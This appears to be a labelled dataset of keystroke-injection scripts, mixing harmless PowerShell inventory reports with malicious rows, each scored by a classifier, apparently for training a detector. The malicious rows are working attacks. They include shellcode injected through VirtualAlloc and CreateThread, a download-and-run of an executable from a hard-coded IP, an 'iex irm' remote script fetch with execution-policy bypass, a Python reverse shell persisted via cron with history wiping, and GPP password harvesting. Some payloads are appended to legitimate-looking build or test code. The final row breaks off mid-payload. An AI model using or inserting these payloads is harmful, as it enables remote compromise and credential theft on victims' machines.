"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_5jup6ez2"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting firewall_status section 1."" enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Outbound"" } | enter Select-Object -First 50 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_outbound.json"") -Encoding UTF8 enter Write-Host ""Starting process_checks section 2."" enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 30 Name, Id, Path, Company | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_memory_30.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999646,3.5432196e-05
"win+r powershell enter function Invoke-UrbanBishop { [CmdletBinding()] Param ( [Parameter(Position enter = 0, Mandatory = $true)] [ValidateNotNullorEmpty()] [String] $Command ) $b enter ase64binary=""TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA enter AAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9 enter TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAGZPi14AAAAAAAAAAOAAIgALATAAADQAAAAIAAAAAAAASlM enter AAAAgAAAAYAAAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACgAAAAAgAAAAAAAAMAQIUAABAAABA enter AAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAPhSAABPAAAAAGAAALwFAAAAAAAAAAAAAAAAAAAAAAAAAIA enter AAAwAAADAUQAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAA enter AAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAUDMAAAAgAAAANAAAAAIAAAAAAAAAAAAAAAA enter AACAAAGAucnNyYwAAALwFAAAAYAAAAAYAAAA2AAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAIA enter AAAACAAAAPAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAsUwAAAAAAAEgAAAACAAUAiCo enter AADgnAAABAAAAGwAABgA enter enter",1,1,6.563272e-05,0.9999343
"win+r powershell enter $appPoolName = 'Carbon-Get-IisWebsite' $siteName = 'Carbon-Get-IisWebsite' func enter tion Start-TestFixture { & (Join-Path -Path $PSScriptRoot '..\Initialize-Carbon enter Test.ps1' -Resolve) } function Start-Test { Install-IisAppPool -Name $appPoolN enter ame $bindings = @( 'http/*:8401:', 'https/*:8401:', 'http/1.2.3.4:80:', ""http/5 enter .6.7.8:80:$siteName"" ) enter enter",1,1,0.0012410885,0.9987589
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_p0lgb5i5"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting user_helpdesk_audit section 1."" enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_admins.txt"") -Encoding UTF8 enter Get-Process -Name ""powershell"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 10 ProcessName, Id, StartTime | enter Export-Csv -Path (Join-Path $ReportDir ""process_named_processes_10.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999653,3.4689423e-05
"win+r powershell enter function Set-NetworkLevelAuthentication { [CmdletBinding()] PARAM ( [Para enter meter(ValueFromPipeline,ValueFromPipelineByPropertyName)] [System.String[]]$Com enter puterName = $env:ComputerName, [Parameter(Mandatory)] [System.Boolean]$Enable enter NLA, enter",1,1,0.0017253022,0.9982747
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_t1xcshy9"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting user_helpdesk_audit section 1."" enter Get-LocalGroup | enter Select-Object Name, Description | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_groups.csv"") -NoTypeInformation enter Write-Host ""Starting environment_report section 2."" enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_module_paths.json"") -Encoding UTF8 enter Write-Host ""Starting process_checks section 3."" enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 20 Name, Id, Path, Company | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_memory_20.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999647,3.5307396e-05
"win+r enter powershell enter enter enter function Get-GPPAutologon enter { enter [CmdletBinding()] enter Param () enter Set-StrictMode -Version 2 enter [System.Reflection.Assembly]::LoadWithPartialName(""System.Core"") |Out-Null enter function Get-GPPInnerFields enter { enter [CmdletBinding()] enter Param ( enter $File enter ) enter enter try enter { enter $Filename = Split-Path $File -Leaf enter [xml] $Xml = Get-Content ($File) enter $Password = @() enter $UserName = @() enter if (($Xml.innerxml -like ""*DefaultPassword*"") -and ($Xml.innerxml -like ""*DefaultUserName*"")) enter { enter $props = $xml.GetElementsByTagName(""Properties"") enter foreach($prop in $props) enter { enter switch ($prop.name) enter { enter 'DefaultPassword' enter { enter $Password += , $prop | Select-Object -ExpandProperty Value enter } enter enter 'DefaultUsername' enter { enter $Username += , $prop | Select-Object -ExpandProperty Value enter } enter } enter enter Write-Verbose ""Potential password in $File"" enter } enter if (!($Password)) enter { enter $Password = '[BLANK]' enter } enter enter if (!($UserName)) enter { enter $UserName = '[BLANK]' enter } enter $ObjectProperties = @{'Passwords' = $Password; enter 'UserNames' = $UserName; enter 'File' = $File} enter enter $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties enter Write-Verbose ""The password is between {} and may be more than one value."" enter if ($ResultsObject) enter { enter Return $ResultsObject enter } enter } enter } enter catch {Write-Error $Error[0]} enter } enter enter try { enter enter if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) { enter throw 'Machine is not a domain member or User is not a member of the domain.' enter } enter Write-Verbose 'Searching the DC. This could take a while.' enter $XMlFiles = Get-ChildItem -Recurse -ErrorAction SilentlyContinue -Include 'Registry.xml' enter enter if ( -not $XMlFiles ) {throw 'No preference files found.'} enter enter Write-Verbose ""Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."" enter enter foreach ($File in $XMLFiles) { enter $Result = (Get-GppInnerFields $File.Fullname) enter Write-Output $Result enter } enter } enter enter catch {Write-Error $Error[0]} enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xdd,0xc6,0xd9,0x74,0x24,0xf4,0xb8,0x64,0x2e,0x18,0xd8,0x5b,0x2b,0xc9,0xb1,0x47,0x83,0xc3,0x04,0x31,0x43,0x14,0x03,0x43,0x70,0xcc,0xed,0x24,0x90,0x92,0x0e,0xd5,0x60,0xf3,0x87,0x30,0x51,0x33,0xf3,0x31,0xc1,0x83,0x77,0x17,0xed,0x68,0xd5,0x8c,0x66,0x1c,0xf2,0xa3,0xcf,0xab,0x24,0x8d,0xd0,0x80,0x15,0x8c,0x52,0xdb,0x49,0x6e,0x6b,0x14,0x9c,0x6f,0xac,0x49,0x6d,0x3d,0x65,0x05,0xc0,0xd2,0x02,0x53,0xd9,0x59,0x58,0x75,0x59,0xbd,0x28,0x74,0x48,0x10,0x23,0x2f,0x4a,0x92,0xe0,0x5b,0xc3,0x8c,0xe5,0x66,0x9d,0x27,0xdd,0x1d,0x1c,0xee,0x2c,0xdd,0xb3,0xcf,0x81,0x2c,0xcd,0x08,0x25,0xcf,0xb8,0x60,0x56,0x72,0xbb,0xb6,0x25,0xa8,0x4e,0x2d,0x8d,0x3b,0xe8,0x89,0x2c,0xef,0x6f,0x59,0x22,0x44,0xfb,0x05,0x26,0x5b,0x28,0x3e,0x52,0xd0,0xcf,0x91,0xd3,0xa2,0xeb,0x35,0xb8,0x71,0x95,0x6c,0x64,0xd7,0xaa,0x6f,0xc7,0x88,0x0e,0xfb,0xe5,0xdd,0x22,0xa6,0x61,0x11,0x0f,0x59,0x71,0x3d,0x18,0x2a,0x43,0xe2,0xb2,0xa4,0xef,0x6b,0x1d,0x32,0x10,0x46,0xd9,0xac,0xef,0x69,0x1a,0xe4,0x2b,0x3d,0x4a,0x9e,0x9a,0x3e,0x01,0x5e,0x23,0xeb,0xbc,0x5b,0xb3,0xd4,0xe9,0xd6,0x63,0xbd,0xeb,0x16,0x72,0x60,0x65,0xf0,0x24,0xca,0x25,0xad,0x84,0xba,0x85,0x1d,0x6c,0xd1,0x09,0x41,0x8c,0xda,0xc3,0xea,0x26,0x35,0xba,0x43,0xde,0xac,0xe7,0x18,0x7f,0x30,0x32,0x65,0xbf,0xba,0xb1,0x99,0x71,0x4b,0xbf,0x89,0xe5,0xbb,0x8a,0xf0,0xa3,0xc4,0x20,0x9e,0x4b,0x51,0xcf,0x09,0x1c,0xcd,0xcd,0x6c,0x6a,0x52,0x2d,0x5b,0xe1,0x5b,0xbb,0x24,0x9d,0xa3,0x2b,0xa5,0x5d,0xf2,0x21,0xa5,0x35,0xa2,0x11,0xf6,0x20,0xad,0x8f,0x6a,0xf9,0x38,0x30,0xdb,0xae,0xeb,0x58,0xe1,0x89,0xdc,0xc6,0x1a,0xfc,0xdc,0x3b,0xcd,0x38,0xab,0x55,0xcd;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1981107e-05,0.999948
"win+r enter powershell enter enter enter Task default -depends CheckDetailedDocs enter enter Task CheckDetailedDocs { enter $NL = [System.Environment]::NewLine enter $docArray = @(Invoke-psake . enter ested\docs.ps1 -detailedDocs -nologo | Out-String -Stream -Width 120) enter $docString = (($docArray | Foreach-Object Trim) -join $NL).Trim() enter enter $expectedDoc = @"" enter Name : Compile enter Alias : enter Description : enter Depends On : CompileSolutionA, CompileSolutionB enter Default : True enter enter Name : CompileSolutionA enter Alias : enter Description : Compiles solution A enter Depends On : enter Default : enter enter Name : CompileSolutionB enter Alias : enter Description : enter Depends On : enter Default : enter enter Name : IntegrationTests enter Alias : enter Description : enter Depends On : enter Default : enter enter Name : Test enter Alias : enter Description : enter Depends On : UnitTests, IntegrationTests enter Default : True enter enter Name : UnitTests enter Alias : ut enter Description : enter Depends On : enter Default : enter ""@ -split $NL enter enter $expectedDocString = (($expectedDoc | Foreach-Object Trim) -join $NL).Trim() enter enter Assert ($docString -eq $expectedDocString) ""Unexpected simple doc: $docString"" enter } enter enter (New-Object System.Net.WebClient).DownloadFile('http://89.248.170.218/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.727726e-05,0.99994266
"win+r powershell enter function Invoke-Thunderfox { [CmdletBinding()] Param ( [String] $Command = enter "" "" ) $a=New-Object IO.MemoryStream(,[Convert]::FromBAsE64String(""H4sIAAAAAA enter AEAKy9CYAcR3U3PtN3z7Vb07M9s7vSzkrySu3pmV3triSv1ofkA5/Ylm3ZnpEPGV9YCtaYWckYj0Y2h8 enter GALCMwSRDGBHETIMYQrgCBQBJIOCxxfhAcrhAIZ/hCvi8hWf3f71X1TM+uzJH/Z9B0dR2vXr169a6q6r enter 10xysTeiKRMOjfiROJxIcS8r+tid/+3/30L1f+SC7xfvfzqz6UfObnV22/Y9fC+F2t5rNbz7pz/JZn7d enter nT3Dt+823jrX17xnftGT/v8qvG72zeettkNps6RcHY9oxE4plJPXH7v931VAT324nViXRyfSIxnkokHJ enter l3+09cegdiKYkd0prEG/9ZXaRSnI//9MRNDyQSg/z/3rP74P8Ewb08IeF+1DzJIG9KJTL0uP7HbmLud6 enter BJ97/xLur8n0PvF8beJ/feds9eehbKKTmW8R7eMRA3TbYWWrdQmnHD2DHQ1am+elvp/5Ot257TpIoZhT enter PDCpbVO2cpms8AXRMSNy1hJoILzcSGNxmJJL0v2j2y/q7/jWnB6kQiVek92zRFRmW1pnc4cZZmBGuoRN enter MDerdQsGAiQTXHo5qcoIzVUcZqlbEmylijMk6JMk5RGRNRBicqmr7CCPKAn0h4643EywhHGpvQFqhBql enter OmShJTPaAGqepgi0rvalH6roW1lHEv4Qmq6/mEcWAdZQRfpLe0ZgU0u5ZdXWm3tlBdLXDxevBiomIQoB enter pRzrpXK3ZK6MEMiOcsbc enter enter",1,1,6.239721e-05,0.99993765
"win+r enter powershell enter enter enter $tempDir = $null enter $identity = $null enter $dirPath = $null enter $filePath = $null enter $tempKeyPath = $null enter $keyPath = $null enter $childKeyPath = $null enter $privateKeyPath = Join-Path -Path $PSScriptRoot -ChildPath '..\Cryptography\CarbonTestPrivateKey.pfx' -Resolve enter enter function Start-TestFixture enter { enter & (Join-Path -Path $TestDir -ChildPath '..\Initialize-CarbonTest.ps1' -Resolve) enter enter $script:identity = $CarbonTestUser.UserName enter $tempDir = New-TempDirectoryTree -Prefix 'Carbon-Test-TestPermission' @' enter + Directory enter * File enter '@ enter enter $dirPath = Join-Path -Path $tempDir -ChildPath 'Directory' enter $filePath = Join-Path -Path $dirPath -ChildPath 'File' enter Grant-Permission -Identity $identity -Permission ReadAndExecute -Path $dirPath -ApplyTo 'ChildLeaves' enter enter $tempKeyPath = 'hkcu:\Software\Carbon\Test' enter $keyPath = Join-Path -Path $tempKeyPath -ChildPath 'Test-Permission' enter Install-RegistryKey -Path $keyPath enter $childKeyPath = Join-Path -Path $keyPath -ChildPath 'ChildKey' enter Grant-Permission -Identity $identity -Permission 'ReadKey','WriteKey' -Path $keyPath -ApplyTo 'ChildLeaves' enter } enter enter function Stop-TestFixture enter { enter Remove-Item -Path $tempDir -Recurse enter Remove-Item -Path $tempKeyPath -Recurse enter } enter enter function Test-ShouldHandleNonExistentPath enter { enter $Error.Clear() enter Assert-Null (Test-Permission -path 'C:\I\Do\Not\Exist' -Identity $identity -Permission 'FullControl' -ErrorAction SilentlyContinue) enter Assert-Equal 2 $Error.Count enter } enter enter function Test-ShouldCheckUngrantedPermissionOnFileSystem enter { enter Assert-False (Test-Permission -Path $dirPath -Identity $identity -Permission 'Write') enter } enter enter function Test-ShouldCheckGrantedPermissionOnFileSystem enter { enter Assert-True (Test-Permission -Path $dirPath -Identity $identity -Permission 'Read') enter } enter enter function Test-ShouldCheckExactPartialPermissionOnFileSystem enter { enter Assert-False (Test-Permission -Path $dirPath -Identity $identity -Permission 'Read' -Exact) enter } enter enter function Test-ShouldCheckExactPermissionOnFileSystem enter { enter Assert-True (Test-Permission -Path $dirPath -Identity $identity -Permission 'ReadAndExecute' -Exact) enter } enter enter function Test-ShouldExcludeInheritedPermission enter { enter Assert-False (Test-Permission -Path $filePath -Identity $identity -Permission 'ReadAndExecute') enter } enter enter function Test-ShouldIncludeInheritedPermission enter { enter Assert-True (Test-Permission -Path $filePath -Identity $identity -Permission 'ReadAndExecute' -Inherited) enter } enter enter function Test-ShouldExcludeInheritedPartialPermission enter { enter Assert-False (Test-Permission -Path $filePath -Identity $identity -Permission 'ReadAndExecute' -Exact) enter } enter enter function Test-ShouldIncludeInheritedExactPermission enter { enter Assert-True (Test-Permission -Path $filePath -Identity $identity -Permission 'ReadAndExecute' -Inherited -Exact) enter } enter enter function Test-ShouldIgnoreInheritanceAndPropagationFlagsOnFile enter { enter $warning = @() enter Assert-True (Test-Permission -Path $filePath -Identity $identity -Permission 'ReadAndExecute' -ApplyTo SubContainers -Inherited -WarningVariable 'warning' -WarningAction SilentlyContinue) enter Assert-NotNull $warning enter Assert-Like $warning[0] 'Can''t test inheritance/propagation rules on a leaf.*' enter } enter enter function Test-ShouldCheckUngrantedPermissionOnRegistry enter { enter Assert-False (Test-Permission -Path $keyPath -Identity $identity -Permission 'Delete') enter } enter enter function Test-ShouldCheckGrantedPermissionOnRegistry enter { enter Assert-True (Test-Permission -Path $keyPath -Identity $identity -Permission 'ReadKey') enter } enter enter function Test-ShouldCheckExactPartialPermissionOnRegistry enter { enter Assert-False (Test-Permission -Path $keyPath -Identity $identity -Permission 'ReadKey' -Exact) enter } enter enter function Test-ShouldCheckExactPermissionOnRegistry enter { enter Assert-True (Test-Permission -Path $keyPath -Identity $identity -Permission 'ReadKey','WriteKey' -Exact) enter } enter enter function Test-ShouldCheckUngrantedInheritanceFlags enter { enter Assert-False (Test-Permission -Path $dirPath -Identity $identity -Permission 'ReadAndExecute' -ApplyTo ContainerAndSubContainersAndLeaves ) enter } enter enter function Test-ShouldCheckGrantedInheritanceFlags enter { enter Assert-True (Test-Permission -Path $dirPath -Identity $identity -Permission 'ReadAndExecute' -ApplyTo ContainerAndLeaves) enter Assert-True (Test-Permission -Path $dirPath -Identity $identity -Permission 'ReadAndExecute' -ApplyTo ChildLeaves ) enter } enter function Test-ShouldCheckExactUngrantedInheritanceFlags enter { enter Assert-False (Test-Permission -Path $dirPath -Identity $identity -Permission 'ReadAndExecute' -ApplyTo ContainerAndLeaves -Exact) enter } enter enter function Test-ShouldCheckExactGrantedInheritanceFlags enter { enter Assert-True (Test-Permission -Path $dirPath -Identity $identity -Permission 'ReadAndExecute' -ApplyTo ChildLeaves -Exact) enter } enter enter function Test-ShouldCheckPermissionOnPrivateKey enter { enter $cert = Install-Certificate -Path $privateKeyPath -StoreLocation LocalMachine -StoreName My enter try enter { enter $certPath = Join-Path -Path 'cert:\LocalMachine\My' -ChildPath $cert.Thumbprint enter Grant-Permission -Path $certPath -Identity $identity -Permission 'GenericAll' enter Assert-True (Test-Permission -Path $certPath -Identity $identity -Permission 'GenericRead') enter Assert-False (Test-Permission -Path $certPath -Identity $identity -Permission 'GenericRead' -Exact) enter Assert-True (Test-Permission -Path $certPath -Identity $identity -Permission 'GenericAll','GenericRead' -Exact) enter } enter finally enter { enter Uninstall-Certificate -Thumbprint $cert.Thumbprint -StoreLocation LocalMachine -StoreName My enter } enter } enter enter function Test-ShouldCheckPermissionOnPublicKey enter { enter $cert = Get-ChildItem 'cert:\*\*' -Recurse | Where-Object { -not $_.HasPrivateKey } | Select-Object -First 1 enter Assert-NotNull $cert enter $certPath = Join-Path -Path 'cert:\' -ChildPath (Split-Path -NoQualifier -Path $cert.PSPath) enter Assert-True (Test-Permission -Path $certPath -Identity $identity -Permission 'FullControl') enter Assert-True (Test-Permission -Path $certPath -Identity $identity -Permission 'FullControl' -Exact) enter } enter enter",0,0,0.9999318,6.8185385e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_fucicd2v"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetAdapter | enter Select-Object Name, InterfaceDescription, Status, LinkSpeed, MacAddress | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_adapter.json"") -Encoding UTF8 enter Write-Host ""Starting user_helpdesk_audit section 2."" enter Get-LocalUser | enter Select-Object Name, Enabled, LastLogon, PasswordRequired | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_users.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4241573e-05
"delay_long enter unknown_key_action CTRL-ALT F1 enter delay_short enter mkdir .sys_health enter delay_short enter enter enter nano .sys_health/health_check enter delay_short enter enter enter python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); enter s.connect((""127.0.0.1"",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); enter p=subprocess.call([""/bin/sh"",""-i""]);' enter delay_short enter enter enter unknown_key_action CTRL x enter delay_short enter enter enter Y enter delay_short enter enter enter chmod +x .sys_health/health_check enter delay_short enter enter enter crontab -e enter delay_short enter enter enter * * * * * .sys_health/health_check enter delay_short enter enter enter unknown_key_action CTRL x enter delay_short enter enter enter Y enter delay_short enter enter enter history -c enter delay_short enter enter",1,1,5.4334476e-05,0.99994564
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_d5olhcwl"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 100 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_enabled_tasks.json"") -Encoding UTF8 enter Write-Host ""Starting disk_checks section 2."" enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 2 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter Export-Csv -Path (Join-Path $ReportDir ""disk_logical_disk.csv"") -NoTypeInformation enter",0,0,0.9999654,3.459639e-05
win terminal enter enter open -a safari 'https://www.youtube.com/watch?v=egci8by2g8s' enter,1,1,0.0007247436,0.99927527
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_s4nniqbe"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_psdrive.txt"") -Encoding UTF8 enter Get-WinEvent -LogName System -MaxEvents 100 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_warnings_100.txt"") -Encoding UTF8 enter",0,0,0.9999659,3.409901e-05
win r powershell -ep bypass -c iex (irm bw0.cc/delhis) enter,1,1,0.08464984,0.9153502
"win+r enter powershell enter enter enter $eYbQ = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $eYbQ -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xda,0xc4,0xd9,0x74,0x24,0xf4,0x5d,0x2b,0xc9,0xbb,0xca,0x22,0xa8,0x57,0xb1,0x47,0x83,0xc5,0x04,0x31,0x5d,0x14,0x03,0x5d,0xde,0xc0,0x5d,0xab,0x36,0x86,0x9e,0x54,0xc6,0xe7,0x17,0xb1,0xf7,0x27,0x43,0xb1,0xa7,0x97,0x07,0x97,0x4b,0x53,0x45,0x0c,0xd8,0x11,0x42,0x23,0x69,0x9f,0xb4,0x0a,0x6a,0x8c,0x85,0x0d,0xe8,0xcf,0xd9,0xed,0xd1,0x1f,0x2c,0xef,0x16,0x7d,0xdd,0xbd,0xcf,0x09,0x70,0x52,0x64,0x47,0x49,0xd9,0x36,0x49,0xc9,0x3e,0x8e,0x68,0xf8,0x90,0x85,0x32,0xda,0x13,0x4a,0x4f,0x53,0x0c,0x8f,0x6a,0x2d,0xa7,0x7b,0x00,0xac,0x61,0xb2,0xe9,0x03,0x4c,0x7b,0x18,0x5d,0x88,0xbb,0xc3,0x28,0xe0,0xb8,0x7e,0x2b,0x37,0xc3,0xa4,0xbe,0xac,0x63,0x2e,0x18,0x09,0x92,0xe3,0xff,0xda,0x98,0x48,0x8b,0x85,0xbc,0x4f,0x58,0xbe,0xb8,0xc4,0x5f,0x11,0x49,0x9e,0x7b,0xb5,0x12,0x44,0xe5,0xec,0xfe,0x2b,0x1a,0xee,0xa1,0x94,0xbe,0x64,0x4f,0xc0,0xb2,0x26,0x07,0x25,0xff,0xd8,0xd7,0x21,0x88,0xab,0xe5,0xee,0x22,0x24,0x45,0x66,0xed,0xb3,0xaa,0x5d,0x49,0x2b,0x55,0x5e,0xaa,0x65,0x91,0x0a,0xfa,0x1d,0x30,0x33,0x91,0xdd,0xbd,0xe6,0x0c,0xdb,0x29,0xc9,0x79,0xe2,0xc3,0xa1,0x7b,0xe5,0x12,0x89,0xf5,0x03,0x44,0xbd,0x55,0x9c,0x24,0x6d,0x16,0x4c,0xcc,0x67,0x99,0xb3,0xec,0x87,0x73,0xdc,0x86,0x67,0x2a,0xb4,0x3e,0x11,0x77,0x4e,0xdf,0xde,0xad,0x2a,0xdf,0x55,0x42,0xca,0x91,0x9d,0x2f,0xd8,0x45,0x6e,0x7a,0x82,0xc3,0x71,0x50,0xa9,0xeb,0xe7,0x5f,0x78,0xbc,0x9f,0x5d,0x5d,0x8a,0x3f,0x9d,0x88,0x81,0xf6,0x0b,0x73,0xfd,0xf6,0xdb,0x73,0xfd,0xa0,0xb1,0x73,0x95,0x14,0xe2,0x27,0x80,0x5a,0x3f,0x54,0x19,0xcf,0xc0,0x0d,0xce,0x58,0xa9,0xb3,0x29,0xae,0x76,0x4b,0x1c,0x2e,0x4a,0x9a,0x58,0x44,0xa2,0x1e;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$uwQ=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($uwQ.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$uwQ,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.2123374e-05,0.9999479
"win+r enter powershell enter enter enter param( enter [Parameter(Mandatory = $false)] enter [string] $BuildConfig = ""Debug"", enter [Parameter(Mandatory = $false)] enter [string] $OutputFile = ""$PSScriptRoot/outputtypes.json"" enter ) enter $psd1Files = Get-Childitem $PSScriptRoot\..\artifacts\$BuildConfig -Recurse | where {$_.Name -like ""*.psd1"" } enter enter $profilePsd1 = $psd1Files | Where-Object {$_.Name -like ""*Az.Accounts.psd1""} enter Import-LocalizedData -BindingVariable ""psd1File"" -BaseDirectory $profilePsd1.DirectoryName -FileName $profilePsd1.Name enter foreach ($nestedModule in $psd1File.RequiredAssemblies) enter { enter $dllPath = Join-Path -Path $profilePsd1.DirectoryName -ChildPath $nestedModule enter $Assembly = [Reflection.Assembly]::LoadFrom($dllPath) enter } enter enter $outputTypes = New-Object System.Collections.Generic.HashSet[string] enter enter $psd1Files | ForEach { enter Import-LocalizedData -BindingVariable ""psd1File"" -BaseDirectory $_.DirectoryName -FileName $_.Name enter foreach ($nestedModule in $psd1File.NestedModules) enter { enter $dllPath = Join-Path -Path $_.DirectoryName -ChildPath $nestedModule enter $Assembly = [Reflection.Assembly]::LoadFrom($dllPath) enter $exportedTypes = $Assembly.GetTypes() enter foreach ($exportedType in $exportedTypes) enter { enter foreach ($attribute in $exportedType.CustomAttributes) enter { enter if ($attribute.AttributeType.Name -eq ""OutputTypeAttribute"") enter { enter $cmdletOutputTypes = $attribute.ConstructorArguments.Value.Value enter foreach ($cmdletOutputType in $cmdletOutputTypes) enter { enter $outputTypes.Add($cmdletOutputType.FullName) | Out-Null enter } enter } enter } enter enter foreach ($property in $exportedType.GetProperties() | Where-Object {$_.CustomAttributes.AttributeType.Name -contains ""ParameterAttribute""}) enter { enter if ($property.PropertyType.FullName -like ""*System.Nullable*``[``[*"") enter { enter $outputTypes.Add(($property.PropertyType.BaseType.FullName -replace ""[][]"", """")) | Out-Null enter } enter elseif ($property.PropertyType.FullName -notlike ""*``[``[*"") enter { enter $outputTypes.Add(($property.PropertyType.FullName -replace ""[][]"", """")) | Out-Null enter } enter } enter } enter } enter } enter enter $json = ConvertTo-Json $outputTypes enter $json | Out-File ""$OutputFile"" enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 